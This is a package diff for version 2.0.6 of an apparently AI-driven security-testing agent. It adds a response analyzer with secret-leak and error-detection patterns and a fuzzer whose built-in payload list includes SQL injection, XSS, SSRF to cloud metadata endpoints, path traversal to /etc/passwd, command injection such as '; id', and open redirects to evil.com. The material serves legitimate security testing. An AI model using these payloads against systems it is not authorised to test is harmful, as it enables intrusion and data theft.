exaai-agent 2.0.5__py3-none-any.whl → 2.0.6__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/METADATA +1 -1
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/RECORD +18 -10
- exaaiagnt/interface/tui.py +16 -2
- exaaiagnt/llm/__init__.py +13 -0
- exaaiagnt/llm/llm.py +14 -3
- exaaiagnt/llm/llm_traffic_controller.py +351 -0
- exaaiagnt/prompts/auto_loader.py +104 -0
- exaaiagnt/prompts/cloud/aws_cloud_security.jinja +235 -0
- exaaiagnt/prompts/frameworks/modern_js_frameworks.jinja +194 -0
- exaaiagnt/prompts/vulnerabilities/react2shell.jinja +187 -0
- exaaiagnt/tools/__init__.py +58 -0
- exaaiagnt/tools/response_analyzer.py +294 -0
- exaaiagnt/tools/smart_fuzzer.py +286 -0
- exaaiagnt/tools/tool_prompts.py +210 -0
- exaaiagnt/tools/vuln_validator.py +412 -0
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/WHEEL +0 -0
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/entry_points.txt +0 -0
- {exaai_agent-2.0.5.dist-info → exaai_agent-2.0.6.dist-info}/licenses/LICENSE +0 -0
|
@@ -0,0 +1,294 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Response Analyzer - Intelligent response analysis for vulnerability detection.
|
|
3
|
+
|
|
4
|
+
Features:
|
|
5
|
+
- Error message detection
|
|
6
|
+
- Sensitive data leakage detection
|
|
7
|
+
- Response comparison for blind testing
|
|
8
|
+
- Timing analysis
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
import logging
|
|
12
|
+
import re
|
|
13
|
+
import hashlib
|
|
14
|
+
from dataclasses import dataclass, field
|
|
15
|
+
from enum import Enum
|
|
16
|
+
from typing import Any, Optional
|
|
17
|
+
from difflib import SequenceMatcher
|
|
18
|
+
|
|
19
|
+
|
|
20
|
+
logger = logging.getLogger(__name__)
|
|
21
|
+
|
|
22
|
+
|
|
23
|
+
class DetectionType(Enum):
|
|
24
|
+
"""Types of detections."""
|
|
25
|
+
SQL_ERROR = "sql_error"
|
|
26
|
+
PATH_DISCLOSURE = "path_disclosure"
|
|
27
|
+
STACK_TRACE = "stack_trace"
|
|
28
|
+
VERSION_DISCLOSURE = "version_disclosure"
|
|
29
|
+
SENSITIVE_DATA = "sensitive_data"
|
|
30
|
+
DEBUG_INFO = "debug_info"
|
|
31
|
+
CONFIG_LEAK = "config_leak"
|
|
32
|
+
REFLECTION = "reflection"
|
|
33
|
+
TIMING_ANOMALY = "timing_anomaly"
|
|
34
|
+
|
|
35
|
+
|
|
36
|
+
@dataclass
|
|
37
|
+
class Detection:
|
|
38
|
+
"""A detection finding."""
|
|
39
|
+
detection_type: DetectionType
|
|
40
|
+
confidence: float # 0.0 - 1.0
|
|
41
|
+
evidence: str
|
|
42
|
+
location: str = ""
|
|
43
|
+
severity: int = 5 # 1-10
|
|
44
|
+
|
|
45
|
+
|
|
46
|
+
@dataclass
|
|
47
|
+
class AnalysisResult:
|
|
48
|
+
"""Result of response analysis."""
|
|
49
|
+
detections: list[Detection] = field(default_factory=list)
|
|
50
|
+
response_hash: str = ""
|
|
51
|
+
response_length: int = 0
|
|
52
|
+
response_time_ms: float = 0.0
|
|
53
|
+
is_error: bool = False
|
|
54
|
+
status_code: int = 0
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
class ResponseAnalyzer:
|
|
58
|
+
"""
|
|
59
|
+
Intelligent response analyzer for vulnerability detection.
|
|
60
|
+
|
|
61
|
+
Detects:
|
|
62
|
+
- SQL/Database errors
|
|
63
|
+
- Path disclosures
|
|
64
|
+
- Stack traces
|
|
65
|
+
- Sensitive data leakage
|
|
66
|
+
- Version information
|
|
67
|
+
- Debug/config information
|
|
68
|
+
"""
|
|
69
|
+
|
|
70
|
+
_instance: Optional["ResponseAnalyzer"] = None
|
|
71
|
+
|
|
72
|
+
def __new__(cls) -> "ResponseAnalyzer":
|
|
73
|
+
if cls._instance is None:
|
|
74
|
+
cls._instance = super().__new__(cls)
|
|
75
|
+
cls._instance._initialized = False
|
|
76
|
+
return cls._instance
|
|
77
|
+
|
|
78
|
+
def __init__(self):
|
|
79
|
+
if self._initialized:
|
|
80
|
+
return
|
|
81
|
+
|
|
82
|
+
self._patterns = self._load_patterns()
|
|
83
|
+
self._baseline_responses: dict[str, str] = {}
|
|
84
|
+
self._initialized = True
|
|
85
|
+
logger.info("ResponseAnalyzer initialized")
|
|
86
|
+
|
|
87
|
+
def _load_patterns(self) -> dict[DetectionType, list[tuple[str, float]]]:
|
|
88
|
+
"""Load detection patterns with confidence scores."""
|
|
89
|
+
return {
|
|
90
|
+
DetectionType.SQL_ERROR: [
|
|
91
|
+
(r"SQL syntax.*MySQL", 0.95),
|
|
92
|
+
(r"Warning.*mysql_", 0.9),
|
|
93
|
+
(r"PostgreSQL.*ERROR", 0.95),
|
|
94
|
+
(r"ORA-[0-9]{5}", 0.95),
|
|
95
|
+
(r"Microsoft.*ODBC.*SQL Server", 0.95),
|
|
96
|
+
(r"SQLite3?.*error", 0.9),
|
|
97
|
+
(r"Unclosed quotation mark", 0.85),
|
|
98
|
+
(r"syntax error at or near", 0.85),
|
|
99
|
+
(r"mysql_fetch", 0.8),
|
|
100
|
+
(r"pg_query", 0.8),
|
|
101
|
+
(r"SQLSTATE\[", 0.9),
|
|
102
|
+
],
|
|
103
|
+
DetectionType.PATH_DISCLOSURE: [
|
|
104
|
+
(r"/var/www/", 0.9),
|
|
105
|
+
(r"C:\\[Ii]netpub\\", 0.9),
|
|
106
|
+
(r"/home/\w+/", 0.85),
|
|
107
|
+
(r"/usr/local/", 0.7),
|
|
108
|
+
(r"DocumentRoot", 0.8),
|
|
109
|
+
(r"DOCUMENT_ROOT", 0.8),
|
|
110
|
+
(r"in\s+/\w+/.+\.php", 0.9),
|
|
111
|
+
(r"at\s+\w+\.py", 0.85),
|
|
112
|
+
],
|
|
113
|
+
DetectionType.STACK_TRACE: [
|
|
114
|
+
(r"Traceback \(most recent call last\)", 0.95),
|
|
115
|
+
(r"at\s+\S+\.\S+\(\S+\.java:\d+\)", 0.95),
|
|
116
|
+
(r"File\s+\".*\",\s+line\s+\d+", 0.9),
|
|
117
|
+
(r"#\d+\s+\S+\.\S+\s+called at", 0.85),
|
|
118
|
+
(r"Stack trace:", 0.9),
|
|
119
|
+
(r"Exception in thread", 0.9),
|
|
120
|
+
],
|
|
121
|
+
DetectionType.VERSION_DISCLOSURE: [
|
|
122
|
+
(r"Apache/[\d.]+", 0.8),
|
|
123
|
+
(r"nginx/[\d.]+", 0.8),
|
|
124
|
+
(r"PHP/[\d.]+", 0.85),
|
|
125
|
+
(r"Python/[\d.]+", 0.85),
|
|
126
|
+
(r"ASP\.NET\s+Version:[\d.]+", 0.9),
|
|
127
|
+
(r"X-Powered-By:\s*\S+", 0.7),
|
|
128
|
+
(r"Server:\s*\S+", 0.6),
|
|
129
|
+
],
|
|
130
|
+
DetectionType.SENSITIVE_DATA: [
|
|
131
|
+
(r"password\s*[=:]\s*['\"]?\w+", 0.9),
|
|
132
|
+
(r"api[_-]?key\s*[=:]\s*['\"]?\w+", 0.95),
|
|
133
|
+
(r"secret[_-]?key\s*[=:]\s*['\"]?\w+", 0.95),
|
|
134
|
+
(r"aws[_-]?access[_-]?key", 0.95),
|
|
135
|
+
(r"sk_live_\w+", 0.95), # Stripe
|
|
136
|
+
(r"ghp_\w+", 0.95), # GitHub
|
|
137
|
+
(r"eyJ[A-Za-z0-9_-]+\.eyJ", 0.9), # JWT
|
|
138
|
+
(r"\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b", 0.6), # Email
|
|
139
|
+
],
|
|
140
|
+
DetectionType.DEBUG_INFO: [
|
|
141
|
+
(r"DEBUG\s*=\s*True", 0.95),
|
|
142
|
+
(r"debug mode is on", 0.9),
|
|
143
|
+
(r"Xdebug", 0.85),
|
|
144
|
+
(r"GLOBALS\[", 0.8),
|
|
145
|
+
(r"var_dump\(", 0.85),
|
|
146
|
+
(r"print_r\(", 0.8),
|
|
147
|
+
(r"console\.log\(", 0.5),
|
|
148
|
+
],
|
|
149
|
+
DetectionType.CONFIG_LEAK: [
|
|
150
|
+
(r"DB_HOST\s*=", 0.9),
|
|
151
|
+
(r"DATABASE_URL\s*=", 0.9),
|
|
152
|
+
(r"REDIS_URL\s*=", 0.85),
|
|
153
|
+
(r"mongodb://", 0.85),
|
|
154
|
+
(r"mysql://\w+:\w+@", 0.95),
|
|
155
|
+
(r"SECRET_KEY\s*=", 0.95),
|
|
156
|
+
],
|
|
157
|
+
DetectionType.REFLECTION: [
|
|
158
|
+
# Patterns for reflected input
|
|
159
|
+
(r"<script[^>]*>.*alert.*</script>", 0.95),
|
|
160
|
+
(r"onerror\s*=", 0.9),
|
|
161
|
+
(r"onload\s*=", 0.85),
|
|
162
|
+
(r"javascript:", 0.8),
|
|
163
|
+
],
|
|
164
|
+
}
|
|
165
|
+
|
|
166
|
+
def analyze(
|
|
167
|
+
self,
|
|
168
|
+
response_body: str,
|
|
169
|
+
status_code: int = 200,
|
|
170
|
+
response_time_ms: float = 0.0,
|
|
171
|
+
headers: Optional[dict[str, str]] = None
|
|
172
|
+
) -> AnalysisResult:
|
|
173
|
+
"""Analyze a response for vulnerabilities and information leakage."""
|
|
174
|
+
result = AnalysisResult(
|
|
175
|
+
response_hash=self._hash_response(response_body),
|
|
176
|
+
response_length=len(response_body),
|
|
177
|
+
response_time_ms=response_time_ms,
|
|
178
|
+
status_code=status_code,
|
|
179
|
+
is_error=status_code >= 400
|
|
180
|
+
)
|
|
181
|
+
|
|
182
|
+
# Check response body
|
|
183
|
+
for detection_type, patterns in self._patterns.items():
|
|
184
|
+
for pattern, confidence in patterns:
|
|
185
|
+
matches = re.findall(pattern, response_body, re.IGNORECASE)
|
|
186
|
+
if matches:
|
|
187
|
+
result.detections.append(Detection(
|
|
188
|
+
detection_type=detection_type,
|
|
189
|
+
confidence=confidence,
|
|
190
|
+
evidence=matches[0] if isinstance(matches[0], str) else str(matches[0]),
|
|
191
|
+
severity=self._get_severity(detection_type)
|
|
192
|
+
))
|
|
193
|
+
|
|
194
|
+
# Check headers
|
|
195
|
+
if headers:
|
|
196
|
+
header_str = "\n".join(f"{k}: {v}" for k, v in headers.items())
|
|
197
|
+
for pattern, confidence in self._patterns.get(DetectionType.VERSION_DISCLOSURE, []):
|
|
198
|
+
matches = re.findall(pattern, header_str, re.IGNORECASE)
|
|
199
|
+
if matches:
|
|
200
|
+
result.detections.append(Detection(
|
|
201
|
+
detection_type=DetectionType.VERSION_DISCLOSURE,
|
|
202
|
+
confidence=confidence,
|
|
203
|
+
evidence=matches[0],
|
|
204
|
+
location="headers"
|
|
205
|
+
))
|
|
206
|
+
|
|
207
|
+
# Timing analysis
|
|
208
|
+
if response_time_ms > 5000: # 5 seconds
|
|
209
|
+
result.detections.append(Detection(
|
|
210
|
+
detection_type=DetectionType.TIMING_ANOMALY,
|
|
211
|
+
confidence=0.7,
|
|
212
|
+
evidence=f"Response time: {response_time_ms}ms",
|
|
213
|
+
severity=6
|
|
214
|
+
))
|
|
215
|
+
|
|
216
|
+
return result
|
|
217
|
+
|
|
218
|
+
def compare_responses(
|
|
219
|
+
self,
|
|
220
|
+
response1: str,
|
|
221
|
+
response2: str,
|
|
222
|
+
threshold: float = 0.9
|
|
223
|
+
) -> tuple[bool, float]:
|
|
224
|
+
"""
|
|
225
|
+
Compare two responses to detect differences.
|
|
226
|
+
|
|
227
|
+
Returns: (are_similar, similarity_ratio)
|
|
228
|
+
"""
|
|
229
|
+
ratio = SequenceMatcher(None, response1, response2).ratio()
|
|
230
|
+
return ratio >= threshold, ratio
|
|
231
|
+
|
|
232
|
+
def set_baseline(self, endpoint: str, response: str):
|
|
233
|
+
"""Set a baseline response for an endpoint."""
|
|
234
|
+
self._baseline_responses[endpoint] = self._hash_response(response)
|
|
235
|
+
|
|
236
|
+
def is_different_from_baseline(self, endpoint: str, response: str) -> bool:
|
|
237
|
+
"""Check if response differs from baseline."""
|
|
238
|
+
if endpoint not in self._baseline_responses:
|
|
239
|
+
return False
|
|
240
|
+
|
|
241
|
+
current_hash = self._hash_response(response)
|
|
242
|
+
return current_hash != self._baseline_responses[endpoint]
|
|
243
|
+
|
|
244
|
+
def _hash_response(self, response: str) -> str:
|
|
245
|
+
"""Create a hash of the response."""
|
|
246
|
+
# Normalize whitespace
|
|
247
|
+
normalized = re.sub(r'\s+', ' ', response.strip())
|
|
248
|
+
return hashlib.md5(normalized.encode()).hexdigest()
|
|
249
|
+
|
|
250
|
+
def _get_severity(self, detection_type: DetectionType) -> int:
|
|
251
|
+
"""Get severity level for a detection type."""
|
|
252
|
+
severity_map = {
|
|
253
|
+
DetectionType.SQL_ERROR: 8,
|
|
254
|
+
DetectionType.PATH_DISCLOSURE: 5,
|
|
255
|
+
DetectionType.STACK_TRACE: 6,
|
|
256
|
+
DetectionType.VERSION_DISCLOSURE: 4,
|
|
257
|
+
DetectionType.SENSITIVE_DATA: 9,
|
|
258
|
+
DetectionType.DEBUG_INFO: 7,
|
|
259
|
+
DetectionType.CONFIG_LEAK: 9,
|
|
260
|
+
DetectionType.REFLECTION: 8,
|
|
261
|
+
DetectionType.TIMING_ANOMALY: 6,
|
|
262
|
+
}
|
|
263
|
+
return severity_map.get(detection_type, 5)
|
|
264
|
+
|
|
265
|
+
def get_stats(self) -> dict[str, Any]:
|
|
266
|
+
"""Get analyzer statistics."""
|
|
267
|
+
return {
|
|
268
|
+
"pattern_count": sum(len(p) for p in self._patterns.values()),
|
|
269
|
+
"detection_types": [t.value for t in DetectionType],
|
|
270
|
+
"baselines_set": len(self._baseline_responses),
|
|
271
|
+
}
|
|
272
|
+
|
|
273
|
+
|
|
274
|
+
# Global instance
|
|
275
|
+
_analyzer: Optional[ResponseAnalyzer] = None
|
|
276
|
+
|
|
277
|
+
|
|
278
|
+
def get_response_analyzer() -> ResponseAnalyzer:
|
|
279
|
+
"""Get or create the global analyzer instance."""
|
|
280
|
+
global _analyzer
|
|
281
|
+
if _analyzer is None:
|
|
282
|
+
_analyzer = ResponseAnalyzer()
|
|
283
|
+
return _analyzer
|
|
284
|
+
|
|
285
|
+
|
|
286
|
+
def analyze_response(
|
|
287
|
+
response_body: str,
|
|
288
|
+
status_code: int = 200,
|
|
289
|
+
response_time_ms: float = 0.0,
|
|
290
|
+
headers: Optional[dict[str, str]] = None
|
|
291
|
+
) -> AnalysisResult:
|
|
292
|
+
"""Convenience function to analyze a response."""
|
|
293
|
+
analyzer = get_response_analyzer()
|
|
294
|
+
return analyzer.analyze(response_body, status_code, response_time_ms, headers)
|
|
@@ -0,0 +1,286 @@
|
|
|
1
|
+
"""
|
|
2
|
+
Smart Fuzzer - Intelligent fuzzing with context-aware payloads.
|
|
3
|
+
|
|
4
|
+
Features:
|
|
5
|
+
- Context-aware payload generation
|
|
6
|
+
- Parameter type detection
|
|
7
|
+
- Adaptive fuzzing based on responses
|
|
8
|
+
- Built-in payload database
|
|
9
|
+
"""
|
|
10
|
+
|
|
11
|
+
import logging
|
|
12
|
+
import re
|
|
13
|
+
from dataclasses import dataclass, field
|
|
14
|
+
from enum import Enum
|
|
15
|
+
from typing import Any, Optional
|
|
16
|
+
|
|
17
|
+
|
|
18
|
+
logger = logging.getLogger(__name__)
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
class ParamType(Enum):
|
|
22
|
+
"""Detected parameter types."""
|
|
23
|
+
NUMERIC = "numeric"
|
|
24
|
+
STRING = "string"
|
|
25
|
+
EMAIL = "email"
|
|
26
|
+
URL = "url"
|
|
27
|
+
JSON = "json"
|
|
28
|
+
BOOLEAN = "boolean"
|
|
29
|
+
DATE = "date"
|
|
30
|
+
FILE = "file"
|
|
31
|
+
UNKNOWN = "unknown"
|
|
32
|
+
|
|
33
|
+
|
|
34
|
+
class VulnCategory(Enum):
|
|
35
|
+
"""Vulnerability categories for fuzzing."""
|
|
36
|
+
SQLI = "sql_injection"
|
|
37
|
+
XSS = "xss"
|
|
38
|
+
SSRF = "ssrf"
|
|
39
|
+
SSTI = "ssti"
|
|
40
|
+
PATH_TRAVERSAL = "path_traversal"
|
|
41
|
+
COMMAND_INJECTION = "command_injection"
|
|
42
|
+
IDOR = "idor"
|
|
43
|
+
XXE = "xxe"
|
|
44
|
+
OPEN_REDIRECT = "open_redirect"
|
|
45
|
+
|
|
46
|
+
|
|
47
|
+
@dataclass
|
|
48
|
+
class FuzzPayload:
|
|
49
|
+
"""A fuzzing payload with metadata."""
|
|
50
|
+
payload: str
|
|
51
|
+
category: VulnCategory
|
|
52
|
+
description: str
|
|
53
|
+
detection_pattern: Optional[str] = None
|
|
54
|
+
risk_level: int = 5 # 1-10
|
|
55
|
+
|
|
56
|
+
|
|
57
|
+
@dataclass
|
|
58
|
+
class FuzzResult:
|
|
59
|
+
"""Result of a fuzzing attempt."""
|
|
60
|
+
payload: FuzzPayload
|
|
61
|
+
success: bool
|
|
62
|
+
response_code: int = 0
|
|
63
|
+
response_body: str = ""
|
|
64
|
+
detection_matched: bool = False
|
|
65
|
+
notes: str = ""
|
|
66
|
+
|
|
67
|
+
|
|
68
|
+
class SmartFuzzer:
|
|
69
|
+
"""
|
|
70
|
+
Intelligent fuzzing engine with context-aware payloads.
|
|
71
|
+
|
|
72
|
+
Features:
|
|
73
|
+
- Detects parameter type automatically
|
|
74
|
+
- Selects appropriate payloads
|
|
75
|
+
- Tracks successful patterns
|
|
76
|
+
- Adapts based on responses
|
|
77
|
+
"""
|
|
78
|
+
|
|
79
|
+
_instance: Optional["SmartFuzzer"] = None
|
|
80
|
+
|
|
81
|
+
def __new__(cls) -> "SmartFuzzer":
|
|
82
|
+
if cls._instance is None:
|
|
83
|
+
cls._instance = super().__new__(cls)
|
|
84
|
+
cls._instance._initialized = False
|
|
85
|
+
return cls._instance
|
|
86
|
+
|
|
87
|
+
def __init__(self):
|
|
88
|
+
if self._initialized:
|
|
89
|
+
return
|
|
90
|
+
|
|
91
|
+
self._payloads: dict[VulnCategory, list[FuzzPayload]] = {}
|
|
92
|
+
self._successful_patterns: list[str] = []
|
|
93
|
+
self._load_payloads()
|
|
94
|
+
self._initialized = True
|
|
95
|
+
logger.info("SmartFuzzer initialized")
|
|
96
|
+
|
|
97
|
+
def _load_payloads(self):
|
|
98
|
+
"""Load built-in payload database."""
|
|
99
|
+
|
|
100
|
+
# SQL Injection payloads
|
|
101
|
+
self._payloads[VulnCategory.SQLI] = [
|
|
102
|
+
FuzzPayload("'", VulnCategory.SQLI, "Single quote test", r"(sql|syntax|error|mysql|postgres|oracle)", 3),
|
|
103
|
+
FuzzPayload("' OR '1'='1", VulnCategory.SQLI, "Classic OR bypass", None, 5),
|
|
104
|
+
FuzzPayload("' OR 1=1--", VulnCategory.SQLI, "Comment bypass", None, 5),
|
|
105
|
+
FuzzPayload("' UNION SELECT NULL--", VulnCategory.SQLI, "UNION test", None, 6),
|
|
106
|
+
FuzzPayload("1' AND SLEEP(5)--", VulnCategory.SQLI, "Time-based blind", None, 7),
|
|
107
|
+
FuzzPayload("1; WAITFOR DELAY '0:0:5'--", VulnCategory.SQLI, "MSSQL time-based", None, 7),
|
|
108
|
+
FuzzPayload("' AND '1'='1", VulnCategory.SQLI, "Boolean-based", None, 5),
|
|
109
|
+
FuzzPayload("admin'--", VulnCategory.SQLI, "Comment injection", None, 4),
|
|
110
|
+
FuzzPayload("1' ORDER BY 10--", VulnCategory.SQLI, "Column enumeration", None, 5),
|
|
111
|
+
]
|
|
112
|
+
|
|
113
|
+
# XSS payloads
|
|
114
|
+
self._payloads[VulnCategory.XSS] = [
|
|
115
|
+
FuzzPayload("<script>alert(1)</script>", VulnCategory.XSS, "Basic script", r"<script>alert\(1\)</script>", 5),
|
|
116
|
+
FuzzPayload("<img src=x onerror=alert(1)>", VulnCategory.XSS, "IMG onerror", r"<img[^>]+onerror", 5),
|
|
117
|
+
FuzzPayload("<svg onload=alert(1)>", VulnCategory.XSS, "SVG onload", r"<svg[^>]+onload", 5),
|
|
118
|
+
FuzzPayload("javascript:alert(1)", VulnCategory.XSS, "Javascript protocol", r"javascript:", 4),
|
|
119
|
+
FuzzPayload("'-alert(1)-'", VulnCategory.XSS, "DOM XSS", None, 6),
|
|
120
|
+
FuzzPayload("<body onload=alert(1)>", VulnCategory.XSS, "Body onload", r"<body[^>]+onload", 5),
|
|
121
|
+
FuzzPayload("{{7*7}}", VulnCategory.XSS, "Template injection test", r"49", 4),
|
|
122
|
+
FuzzPayload("<iframe src=javascript:alert(1)>", VulnCategory.XSS, "Iframe injection", None, 5),
|
|
123
|
+
]
|
|
124
|
+
|
|
125
|
+
# SSRF payloads
|
|
126
|
+
self._payloads[VulnCategory.SSRF] = [
|
|
127
|
+
FuzzPayload("http://127.0.0.1", VulnCategory.SSRF, "Localhost", None, 5),
|
|
128
|
+
FuzzPayload("http://localhost", VulnCategory.SSRF, "Localhost name", None, 5),
|
|
129
|
+
FuzzPayload("http://[::1]", VulnCategory.SSRF, "IPv6 localhost", None, 6),
|
|
130
|
+
FuzzPayload("http://169.254.169.254", VulnCategory.SSRF, "AWS metadata", r"ami-id|instance-id", 8),
|
|
131
|
+
FuzzPayload("http://metadata.google.internal", VulnCategory.SSRF, "GCP metadata", None, 8),
|
|
132
|
+
FuzzPayload("file:///etc/passwd", VulnCategory.SSRF, "File protocol", r"root:.*:0:0", 9),
|
|
133
|
+
FuzzPayload("http://0.0.0.0:80", VulnCategory.SSRF, "All interfaces", None, 5),
|
|
134
|
+
FuzzPayload("http://127.0.0.1:22", VulnCategory.SSRF, "Port scan", r"SSH", 6),
|
|
135
|
+
]
|
|
136
|
+
|
|
137
|
+
# Path Traversal payloads
|
|
138
|
+
self._payloads[VulnCategory.PATH_TRAVERSAL] = [
|
|
139
|
+
FuzzPayload("../../../etc/passwd", VulnCategory.PATH_TRAVERSAL, "Basic traversal", r"root:", 7),
|
|
140
|
+
FuzzPayload("....//....//....//etc/passwd", VulnCategory.PATH_TRAVERSAL, "Double encoding", r"root:", 7),
|
|
141
|
+
FuzzPayload("..%2f..%2f..%2fetc/passwd", VulnCategory.PATH_TRAVERSAL, "URL encoded", r"root:", 7),
|
|
142
|
+
FuzzPayload("/etc/passwd%00.jpg", VulnCategory.PATH_TRAVERSAL, "Null byte", r"root:", 8),
|
|
143
|
+
FuzzPayload("..\\..\\..\\windows\\win.ini", VulnCategory.PATH_TRAVERSAL, "Windows traversal", r"\[fonts\]", 7),
|
|
144
|
+
]
|
|
145
|
+
|
|
146
|
+
# Command Injection payloads
|
|
147
|
+
self._payloads[VulnCategory.COMMAND_INJECTION] = [
|
|
148
|
+
FuzzPayload("; id", VulnCategory.COMMAND_INJECTION, "Semicolon", r"uid=", 8),
|
|
149
|
+
FuzzPayload("| id", VulnCategory.COMMAND_INJECTION, "Pipe", r"uid=", 8),
|
|
150
|
+
FuzzPayload("& id", VulnCategory.COMMAND_INJECTION, "Ampersand", r"uid=", 8),
|
|
151
|
+
FuzzPayload("$(id)", VulnCategory.COMMAND_INJECTION, "Command substitution", r"uid=", 8),
|
|
152
|
+
FuzzPayload("`id`", VulnCategory.COMMAND_INJECTION, "Backticks", r"uid=", 8),
|
|
153
|
+
FuzzPayload("|| ping -c 3 127.0.0.1", VulnCategory.COMMAND_INJECTION, "Ping test", None, 7),
|
|
154
|
+
]
|
|
155
|
+
|
|
156
|
+
# SSTI payloads
|
|
157
|
+
self._payloads[VulnCategory.SSTI] = [
|
|
158
|
+
FuzzPayload("{{7*7}}", VulnCategory.SSTI, "Jinja2/Twig test", r"49", 6),
|
|
159
|
+
FuzzPayload("${7*7}", VulnCategory.SSTI, "Freemarker test", r"49", 6),
|
|
160
|
+
FuzzPayload("<%= 7*7 %>", VulnCategory.SSTI, "ERB test", r"49", 6),
|
|
161
|
+
FuzzPayload("{{config}}", VulnCategory.SSTI, "Config leak", r"SECRET_KEY", 8),
|
|
162
|
+
FuzzPayload("{{self.__class__.__mro__}}", VulnCategory.SSTI, "Python MRO", r"class", 7),
|
|
163
|
+
]
|
|
164
|
+
|
|
165
|
+
# Open Redirect payloads
|
|
166
|
+
self._payloads[VulnCategory.OPEN_REDIRECT] = [
|
|
167
|
+
FuzzPayload("//evil.com", VulnCategory.OPEN_REDIRECT, "Protocol-relative", None, 5),
|
|
168
|
+
FuzzPayload("https://evil.com", VulnCategory.OPEN_REDIRECT, "Direct redirect", None, 5),
|
|
169
|
+
FuzzPayload("/\\evil.com", VulnCategory.OPEN_REDIRECT, "Backslash bypass", None, 6),
|
|
170
|
+
FuzzPayload("//evil.com/%2f..", VulnCategory.OPEN_REDIRECT, "Path confusion", None, 6),
|
|
171
|
+
]
|
|
172
|
+
|
|
173
|
+
def detect_param_type(self, param_name: str, param_value: str) -> ParamType:
|
|
174
|
+
"""Detect the type of a parameter based on name and value."""
|
|
175
|
+
name_lower = param_name.lower()
|
|
176
|
+
|
|
177
|
+
# Check by name patterns
|
|
178
|
+
if any(x in name_lower for x in ['email', 'mail']):
|
|
179
|
+
return ParamType.EMAIL
|
|
180
|
+
if any(x in name_lower for x in ['url', 'link', 'redirect', 'next', 'return', 'goto']):
|
|
181
|
+
return ParamType.URL
|
|
182
|
+
if any(x in name_lower for x in ['file', 'path', 'document', 'upload']):
|
|
183
|
+
return ParamType.FILE
|
|
184
|
+
if any(x in name_lower for x in ['date', 'time', 'created', 'updated']):
|
|
185
|
+
return ParamType.DATE
|
|
186
|
+
if any(x in name_lower for x in ['id', 'num', 'count', 'page', 'size', 'limit']):
|
|
187
|
+
return ParamType.NUMERIC
|
|
188
|
+
|
|
189
|
+
# Check by value patterns
|
|
190
|
+
if param_value.isdigit():
|
|
191
|
+
return ParamType.NUMERIC
|
|
192
|
+
if re.match(r'^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$', param_value):
|
|
193
|
+
return ParamType.EMAIL
|
|
194
|
+
if param_value.lower() in ['true', 'false', '1', '0', 'yes', 'no']:
|
|
195
|
+
return ParamType.BOOLEAN
|
|
196
|
+
if param_value.startswith(('http://', 'https://', '//')):
|
|
197
|
+
return ParamType.URL
|
|
198
|
+
if param_value.startswith(('{', '[')):
|
|
199
|
+
return ParamType.JSON
|
|
200
|
+
|
|
201
|
+
return ParamType.STRING
|
|
202
|
+
|
|
203
|
+
def get_payloads_for_param(
|
|
204
|
+
self,
|
|
205
|
+
param_name: str,
|
|
206
|
+
param_value: str,
|
|
207
|
+
categories: Optional[list[VulnCategory]] = None
|
|
208
|
+
) -> list[FuzzPayload]:
|
|
209
|
+
"""Get appropriate payloads for a parameter."""
|
|
210
|
+
param_type = self.detect_param_type(param_name, param_value)
|
|
211
|
+
payloads = []
|
|
212
|
+
|
|
213
|
+
# If specific categories requested, use those
|
|
214
|
+
if categories:
|
|
215
|
+
for cat in categories:
|
|
216
|
+
if cat in self._payloads:
|
|
217
|
+
payloads.extend(self._payloads[cat])
|
|
218
|
+
return payloads
|
|
219
|
+
|
|
220
|
+
# Otherwise, select based on parameter type
|
|
221
|
+
if param_type == ParamType.URL:
|
|
222
|
+
payloads.extend(self._payloads.get(VulnCategory.SSRF, []))
|
|
223
|
+
payloads.extend(self._payloads.get(VulnCategory.OPEN_REDIRECT, []))
|
|
224
|
+
|
|
225
|
+
if param_type == ParamType.NUMERIC:
|
|
226
|
+
payloads.extend(self._payloads.get(VulnCategory.SQLI, []))
|
|
227
|
+
payloads.extend(self._payloads.get(VulnCategory.IDOR, []))
|
|
228
|
+
|
|
229
|
+
if param_type == ParamType.FILE:
|
|
230
|
+
payloads.extend(self._payloads.get(VulnCategory.PATH_TRAVERSAL, []))
|
|
231
|
+
|
|
232
|
+
if param_type == ParamType.STRING:
|
|
233
|
+
payloads.extend(self._payloads.get(VulnCategory.SQLI, []))
|
|
234
|
+
payloads.extend(self._payloads.get(VulnCategory.XSS, []))
|
|
235
|
+
payloads.extend(self._payloads.get(VulnCategory.SSTI, []))
|
|
236
|
+
payloads.extend(self._payloads.get(VulnCategory.COMMAND_INJECTION, []))
|
|
237
|
+
|
|
238
|
+
return payloads
|
|
239
|
+
|
|
240
|
+
def get_all_payloads(self, category: VulnCategory) -> list[FuzzPayload]:
|
|
241
|
+
"""Get all payloads for a specific category."""
|
|
242
|
+
return self._payloads.get(category, [])
|
|
243
|
+
|
|
244
|
+
def check_detection(self, payload: FuzzPayload, response_body: str) -> bool:
|
|
245
|
+
"""Check if detection pattern matches in response."""
|
|
246
|
+
if not payload.detection_pattern:
|
|
247
|
+
return False
|
|
248
|
+
|
|
249
|
+
return bool(re.search(payload.detection_pattern, response_body, re.IGNORECASE))
|
|
250
|
+
|
|
251
|
+
def record_success(self, pattern: str):
|
|
252
|
+
"""Record a successful payload pattern for learning."""
|
|
253
|
+
if pattern not in self._successful_patterns:
|
|
254
|
+
self._successful_patterns.append(pattern)
|
|
255
|
+
logger.info(f"Recorded successful pattern: {pattern}")
|
|
256
|
+
|
|
257
|
+
def get_stats(self) -> dict[str, Any]:
|
|
258
|
+
"""Get fuzzer statistics."""
|
|
259
|
+
total_payloads = sum(len(p) for p in self._payloads.values())
|
|
260
|
+
return {
|
|
261
|
+
"total_payloads": total_payloads,
|
|
262
|
+
"categories": list(self._payloads.keys()),
|
|
263
|
+
"successful_patterns": len(self._successful_patterns),
|
|
264
|
+
}
|
|
265
|
+
|
